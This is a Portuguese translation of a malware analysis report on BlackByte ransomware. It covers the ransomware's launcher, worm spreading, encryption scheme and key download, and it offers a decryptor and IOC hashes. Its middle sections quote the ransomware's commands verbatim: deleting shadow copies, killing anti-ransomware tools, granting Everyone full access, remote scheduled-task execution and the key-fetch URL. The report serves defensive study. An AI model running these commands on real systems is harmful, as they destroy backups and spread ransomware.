Durante um recente caso de resposta a um incidente de malware, a Trustwaves encontrou uma peça interessante de ransomware que atende pelo nome de BlackByte. A Trustwaves achou que este ransomware não era apenas interessante, mas também bastante estranho: igual a outras variantes de ransomware notórias como REvil, o BlackByte também evita sistemas com idiomas russo e da ex-URSS. Possui uma funcionalidade de worm semelhante ao RYUK ransomware. Ele cria um pacote mágico wake-on-LAN e o envia ao host de destino – certificando-se de que eles estejam vivos ao infectá-los. O autor hospedou a chave de criptografia em um servidor HTTP remoto e em um arquivo oculto com extensão .PNG. O autor deixa o programa travar se não conseguir baixar a chave de criptografia. A chave pública RSA embutida no corpo é usada apenas uma vez, para criptografar a chave bruta a ser exibida na nota de resgate.
Introdução
Durante um recente caso de resposta a um incidente de malware, encontramos uma peça interessante de ransomware que atende pelo nome de BlackByte.
Achamos que este ransomware não era apenas interessante, mas também bastante estranho:
- Assim como outras variantes de ransomware notórias como REvil, o BlackByte também evita sistemas com idiomas russo e da ex-URSS.
- Possui uma funcionalidade de worm semelhante ao RYUK ransomware.
- Ele cria um pacote mágico wake-on-LAN e o envia ao host de destino – certificando-se de que eles estejam vivos ao infectá-los.
- O autor hospedou a chave de criptografia em um servidor HTTP remoto e em um arquivo oculto com extensão .PNG.
- O autor deixa o programa travar se não conseguir baixar a chave de criptografia.
- A chave pública RSA embutida no corpo é usada apenas uma vez, para criptografar a chave bruta a ser exibida na nota de resgate – é isso.
- O ransomware usa apenas uma chave simétrica para criptografar os arquivos.
O site de leilão que está vinculado na nota de resgate também é bastante estranho, veja abaixo. O site afirma que exfiltrou dados de suas vítimas, mas o ransomware em si não tem nenhuma funcionalidade de exfiltração. Portanto, essa reivindicação provavelmente foi projetada para assustar suas vítimas e fazê-las obedecer.
Descriptografia de arquivo
Ao contrário de outros ransomware que podem ter uma chave única em cada sessão, o BlackByte usa a mesma chave bruta (que baixa) para criptografar arquivos e usa um algoritmo de chave simétrica – AES. Para descriptografar um arquivo, basta fazer o download da chave bruta do host. Contanto que o arquivo .PNG baixado permaneça o mesmo, podemos usar a mesma chave para descriptografar os arquivos criptografados.
Então, escrevemos um descriptografador de arquivo que está disponível neste link: https://github.com/SpiderLabs/BlackByteDecryptor
O repositório GitHub também inclui o arquivo “forest.png” que contém as chaves de criptografia necessárias incorporadas a ele.
Exemplo de uso:
Descriptografando um arquivo criptografado
BlackByteDecryptor forest.png spider.png.blackbyte |
Descriptografando um diretório
BlackByteDecryptor forest.png c:\temp |
Isso irá descriptografar os arquivos no diretórioc:\temp directory, ou descriptografar recursivamente um diretório:
BlackByteDecryptor forest.png c:\temp -r |
Launcher
A amostra inicial que analisamos pode ser encontrada neste link do VirusTotal e é um arquivo inicializador JScript. Após a inspeção, vimos que ele utiliza técnicas de ofuscação para ocultar sua natureza maliciosa. Se você quiser se aprofundar mais nos detalhes da ofuscação e como nós a desofuscamos, postamos um blog separado sobre isso. Abaixo está um diagrama de visão geral do fluxo de execução inicial.
A principal função do Jscript ofuscado é decodificar a carga útil principal e lançá-la na memória. Abaixo está o código desofuscado e embelezado:
O principal objetivo desta DLL é o seguinte:
- Adicione extensões de arquivo .JS e .EXE à lista de exclusão do Microsoft Defender.
- Evite a DLL da Microsoft Antimalware Scan Interface (AMSI) para que ela não verifique o malware carregado e alerte o usuário sobre atividades suspeitas.
- Verifique se as seguintes DLLs estão presentes:
– SbieDll.dll (Sandboxie)
– SxIn.dll (Qihoo360 Sandbox)
– Sf2.dll (Avast Antivirus)
– snxhk.dll (Avast)
– cmdvrt32.dll (Comodo Internet)
- Extraia e decodifique a carga útil principal (BlackByte ransomware) dos recursos e execute-a na memória.
Extrair a carga útil principal – BlackByte – não foi fácil, visto que o binário executável é criptografado.
Para tornar mais fácil e ignorar a análise da camada de criptografia e ofuscação, simplesmente deixamos o código JScript ser executado usando o comando cscript:
cscript.exe <malicious JScript launcher> |
Então, deixamos o assembly .NET malicioso ser executado na memória. Posteriormente, despejamos todos os assemblies .NET, incluindo o executável .NET descriptografado BlackByte. Usamos uma ferramenta chamada MegaDumper para fazer isso.
BlackByte: preparando o sistema infectado
Antes de criptografar, o BlackByte primeiro prepara o sistema para que nada possa impedi-lo de sua rotina de criptografia de arquivos. Durante a inicialização, o ransomware define o valor de campos essenciais como notas de resgate, extensão do arquivo criptografado, sal criptográfico, nome do SO, entre outros. A identificação da vítima é então gerada combinando o ID do processador do sistema infectado e o número de série do volume e combinando-os com MD5. O ransomware cria um mutex denominado Global\1f07524d-fb13-4d5e-8e5c-c3373860df25 e termina se esse nome mutex já existir.
Posteriormente, ele verifica se a localidade do idioma do sistema está em sua lista de códigos de idioma – conforme mostrado abaixo. Se o idioma padrão do sistema estiver na lista, o BlackByte será encerrado:
Código BCP 47 | Língua | Código da Língua |
hy-AM | Armênio (Armênia) | 1067 |
az-Cyrl-AZ | Azeri (cirílico) – Azerbaijão | 2092 |
Cy-az-AZ | Azeri (cirílico) – Azerbaijão | |
Lt-az-AZ | Azeri (latino) – Azerbaijão | 1068 |
ser-POR | Bielo-russo – Bielo-Rússia | 1059 |
kk-KZ | Cazaque – Cazaquistão | 1087 |
ky-KZ | Quirguistão – Cazaquistão | |
ky-KZ | Quirguistão – Cazaquistão | |
tt-RU | Tatar – Rússia | |
ba-RU | Bashkir (Rússia) | |
sah-RU | Sakha (Rússia) | |
ru-RU | Russo (Rússia) | 1049 |
tg-Cyrl-TJ | Tadjique (cirílico, Tadjiquistão) | 1064 |
uz-Cyrl-UZ | Uzbeque (cirílico, Uzbequistão) | 2115 |
Usbeque (latino) | 1091 | |
uk-UA | Ucraniano (Ucrânia) | 1058 |
ka-GE | Georgiano (Geórgia) | 1079 |
Turcomano | 1090 |
O ransomware também define sua classe de prioridade de processo acima do normal e usa a API SetThreadExecutionState para evitar que o sistema entre em hibernação. Em seguida, remove os aplicativos e encerra os processos que podem impedir a criptografia dos arquivos de destino. Abaixo estão as ações que ele realiza no sistema:
Ele enumera a chave do registro:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options |
E, em seguida, exclui as seguintes subchaves:
- vssadmin.exe
- wbadmin.exe
- bcdedit.exe
- powershell.exe
- diskshadow.exe
- net.exe
- taskkill.exe
- wmic.exe
O BlackByte termina o Raccine, um utilitário anti-ransomware, e desinstala-o do sistema infectado executando o comando:
taskill.exe /F /IM Raccine.exe |
taskill.exe /F /IM RaccineSettings.exe |
schtasks.exe /DELETE /TN \”Raccine Rules Updater\" /F |
Ele também exclui todas as chaves de registro relacionadas ao Raccine, incluindo:
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Name = “Raccine Tray” |
HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\Raccine |
Ele executa uma série de comandos SC para desativar uma lista de serviços:
sc.exe config SQLTELEMETRY start = disabled |
sc.exe config sc SQLTELEMETRY$ECWDB2 start = disabled |
sc.exe config SQLWriter start = disabled |
sc.exe config SstpSvc start = disabled |
sc.exe config MBAMService start = disabled |
sc.exe config wuauserv start = disabled |
Também habilita os seguintes serviços:
Dnscache | fdPHost |
FDResPub | SSDPSRV |
upnphost | RemoteRegistry |
Ele usa a API RmShutdown do Microsoft Restart Manager para encerrar os seguintes processos:
agntsvc | CNTAoSMgr | dbeng50 | dbsnmp | encsvc |
excel | firefox | firefoxconfig | infopath | isqlplussvc |
mbamtray | msaccess | msftesql | mspub | mydesktopqos |
mydesktopservice | mysqld | mysqld-nt | mysqld-opt | Ntrtscan |
ocautoupds | ocomm | ocssd | onenote | oracle |
outlook | PccNTMon | powerpnt | sqbcoreservice | sql |
sqlagent | sqlbrowser | sqlservr | sqlwriter | steam |
synctime | tbirdconfig | thebat | thebat64 | thunderbird |
tmlisten | visio | winword | wordpad | xfssvccon |
zoolz | anydesk | chrome | opera | msedge |
firefox | iexplore | explorer | winlogon | SearchIndexer |
wininit | SearchApp | SearchUI | Powershell |
Os seguintes comandos de vida off-the-land também são executados para excluir todas as cópias de sombra em todos os volumes, excluir pontos de restauração do Windows, desativar o acesso controlado à pasta, ativar a descoberta de rede, conceder a “todos” acesso total às unidades de destino, excluir a lixeira , habilite o compartilhamento de arquivos e impressoras e habilite o protocolo SMB1.
vssadmin.exe resize shadowstorage /for=c: /on=c: /maxsize=401MB |
vssadmin.exe resize shadowstorage /for=c: /on=c: /maxsize=unbounded |
vssadmin.exe resize shadowstorage /for=d: /on=d: /maxsize=401MB |
vssadmin.exe resize shadowstorage /for=d: /on=d: /maxsize=unbounded |
vssadmin.exe resize shadowstorage /for=e: /on=e: /maxsize=401MB |
vssadmin.exe resize shadowstorage /for=e: /on=e: /maxsize=unbounded |
vssadmin.exe resize shadowstorage /for=f: /on=f: /maxsize=401MB |
vssadmin.exe resize shadowstorage /for=f: /on=f: /maxsize=unbounded |
vssadmin.exe resize shadowstorage /for=g: /on=g: /maxsize=401MB |
vssadmin.exe vssadmin.exe resize shadowstorage /for=g: /on=g: /maxsize=unbounded |
vssadmin.exe resize shadowstorage /for=h: /on=h: /maxsize=401MB |
vssadmin.exe resize shadowstorage /for=h: /on=h: /maxsize=unbounded |
vssadmin.exe Delete Shadows /all /quiet powershell.exe Get-CimInstance Win32_ShadowCopy | Remove-CimInstance |
powershell.exe Set-MpPreference -EnableControlledFolderAccess Disabled |
cmd.exe /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin |
cmd.exe /c rd /s /q D:\\$Recycle.bin |
netsh advfirewall firewall set rule group=”Network Discovery” new enable=Yes |
netsh advfirewall firewall set rule group=”File and Printer Sharing” new enable=Yes |
powershell.exe Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol |
icacls.exe" "<DRIVE LETTER>:*" /grant Everyone:F /T /C /Q |
O ransomware define as seguintes configurações de registro para elevar o privilégio local, conectar unidades mapeadas, habilitar caminhos longos:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
LocalAccountTokenFilterPolicy = REG_DWORD:1 EnableLinkedConnections = REG_DWORD:1 |
HKLM\SYSTEM\CurrentControlSet\Control\FileSystem
LongPathsEnabled = REG_DWORD:1 |
O BlackByte usa o comando mountvol.exe para montar nomes de volume e aproveitar a ferramenta Lista de Controle de Acesso Discricionário da Microsoft – icacls.exe para conceder ao grupo “Todos” acesso total à raiz da unidade.
C:\Windows\System32\icacls.exe” “{DRIVE LETTER}:*” /grant Everyone:F /T /C /Q |
BlackByte: Worm
Este ransomware também possui um recurso de worm. Ele primeiro verifica se o arquivo %AppData%\<Generated Victim ID> existe. Se este arquivo não existir, significa que o ransomware ainda não infectou a rede.
Quando a função worm é chamada, ela inicialmente dorme por 10 segundos e depois consulta pelo menos 1.000 nomes de host no domínio a partir do diretório ativo.
Ele enumera o registro retornado de nomes de host, envia um pacote mágico wake-on-lan e, em seguida, efetua ping nos hosts de destino, certificando-se de que estejam ativos. Abaixo está a rotina do worm e o fluxo de execução:
O BlackByte então começa a infectar o host copiando a si mesmo para o caminho <hostname>\c$\Users\Public\obamka.js (se tiver direitos de administrador) ou <hostname>\Users\Public\obamka.js e, em seguida, cria um tarefa agendada no host remoto para executar o arquivo.
schtasks.exe <remotehost> /TN joke /TR \"wscript.exe C:\\Users\\Public\\obamka.js\" /sc once /st 00:00 /RL HIGHEST |
schtasks.exe /S <remotehost> /Run /TN joke |
O BlackByte então cria um arquivo de marcador de infecção no host de destino no caminho c:\Users\Public\blockator.
BlackByte: Encryption Routine
O que achamos interessante sobre este ransomware, é que ele inicialmente baixa um arquivo .PNG do link hxxp://45.9.148.114/forest.png que contém uma chave para ser usada posteriormente para criptografar os arquivos. Se o ransomware não conseguir baixar a chave, ele travará e evitará que o sistema infectado obtenha seus arquivos criptografados.
O arquivo baixado não é realmente um arquivo de imagem PNG, em vez disso:
- Os primeiros 40 bytes são a chave bruta usada para criptografar os arquivos do usuário, isso é criptografado com 3DES.
- Os últimos 32 bytes contêm a chave 3DES usada para descriptografar a primeira chave bruta de 40 bytes.
- A chave bruta então passa por uma função de derivação PBKDF2 para derivar a chave AES de 128 bits e o vetor de inicialização para o algoritmo AES usado para criptografar os arquivos do usuário.
- Essa chave bruta também é criptografada novamente usando RSA com uma chave pública embutida no módulo e exibida na nota de resgate.
- O invasor pode descriptografar essa chave usando sua chave privada, mas essa chave é a mesma – desde que o usuário sempre obtenha o mesmo arquivo “forest.png”. Presumivelmente, o arquivo forest.png é substituído periodicamente.
Os primeiros 40 bytes do arquivo PNG são uma chave (criptografada em TripleDES) usada posteriormente para a criptografia do arquivo do ransomware.
A chave TripleDES para descriptografar a chave é encontrada nos últimos 32 bytes do arquivo PNG.
Abaixo está a chave bruta descriptografada:
=hQ;d’%44eLHt!W8AU9y?(FO:<swB[F#<F |
Essa chave bruta é então criptografada novamente com RSA usando uma chave pública embutida no módulo (mostrado abaixo) e, depois da criptografia, a chave é codificada com Base64.
</RSAKeyValue> <Modulus> wKUX7pbo9XM/Z2gWbVADG8yV7ZklXOSRPv/KvtJHLIBUPvNWgjmKeiIgT3f5h CxaxqUzCi0QrrIhVIzA0WM+mPY9CLfIFLhq90v8H/+VezQtqeajO5J4ilDbqut9GH3x0ojVjC tF4/Q1Mxk125Af3D8IZQnXAw5uQ/uGXqP8e3E= </Modulus> <Exponent>AQAB</Exponent> </RSAKeyValue> |
A chave bruta criptografada é substituída no marcador de chave da nota de resgate, onde é exibida.
Depois de baixar e descriptografar a chave bruta, ele derivará a chave bruta usando a implementação Rfc2898DeriveBytes com a matriz de bytes salt {0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08} e com 1000 iterações
O gráfico abaixo ajudará a visualizar a rotina de criptografia:
O ransomware começará a enumerar as unidades (excluindo a unidade de CD-ROM) e as adicionará a uma lista. Ele garante que tem controle total das unidades de destino, alterando seu controle de acesso para total.
Depois de reunir todas as unidades (locais e remotas) e pastas compartilhadas no host remoto, o ransomware começará a percorrê-lo e procurar todos os arquivos de destino.
Ele evita criptografar arquivos com um atributo de arquivo do sistema e também nomes e extensões de arquivo desta lista:
Nomes de arquivos:
obamka.js | polegares.db |
ntdetect.com | ntuser.dat.log |
bootnxt | bootsect.bak |
ntldr | autoexec.bat |
Lixeira de reciclagem | iconcache.db |
bootmgr | bootfont.bin |
Extensões de arquivo:
msilog | registro | ldf | trancar | tema |
msi | sys | wpx | cpl | adv |
msc | scr | chave | ico | dll |
hta | pacote de mesa | nenhuma mídia | msu | rtp |
msp | idx | ani | 386 | diagcfg |
bin | mod | ics | com | hlp |
spl | nls | táxi | Exe | diagpkg |
icl | ocx | ROM | prf | pacote de tema |
msstyles | icns | mpa | drv | cur |
diagcab | cmd | shs |
Se o ransomware encontrar uma extensão de arquivo de disco rígido virtual .vhd e .vhdx, ele tentará desmontar essas unidades usando um comando do PowerShell:
powershell.exe Dismount-DiskImage -ImagePath <vhd path> |
Um arquivo de destino a ser criptografado passa por filtragem de tamanho de arquivo:
- Se o arquivo for maior que 150 MB
- criptografar os primeiros 50 MB e os últimos 50 MB do arquivo
- Se o arquivo for maior que 15 MB
- criptografar os primeiros 5 MB e os últimos 5 MB do arquivo
- Se o arquivo for maior que 3 MB
- criptografar o primeiro 1 MB e o último 1 MB do arquivo
- Se o arquivo tiver menos de 3 MB
- criptografar todo o arquivo
Para criptografar um arquivo, ele usa o algoritmo de chave simétrica AES usando as chaves brutas derivadas do RFC2898 do arquivo .png.
Abaixo está o trecho de código da rotina de criptografia de arquivo.
Em BlackByte Ransomware – Parte 2 , mostraremos como desofuscamos o iniciador JScript, descompilamos o código do ransomware e analisamos mais de seu funcionamento interno.
IOCs
Nome do arquivo | Descrição | SHA256 |
Obamka.js | Lançador Jscript | 884e96a75dc568075e845ccac2d4b4ccec68017e6ef258c7c03da8c88a597534 |
forest.png | Arquivo de chave | 9bff421325bed6f1989d048edb4c9b1450f71d4cb519afc5c2c90af8517f56f3 |
yk0pdddk | BlackByte Ransomware | d3efaf6dbfd8b583babed67046faed28c6132eafe303173b4ae586a2ca7b1e90 |
vylvz3le.dll | BlackByte Loader | 92ffb5921e969a03981f2b6991fc85fe45e07089776a810b7dd7504ca61939a3 |
2edpcniu.dll | BlackByte Loader | f8efe348ee2df7262ff855fb3984884b3f53e9a39a8662a6b5e843480a27bd93 |
Pt 2. Análise de Ofuscação de Código
Fonte: Trustwave
Descubra mais sobre DCiber
Assine para receber os posts mais recentes por e-mail.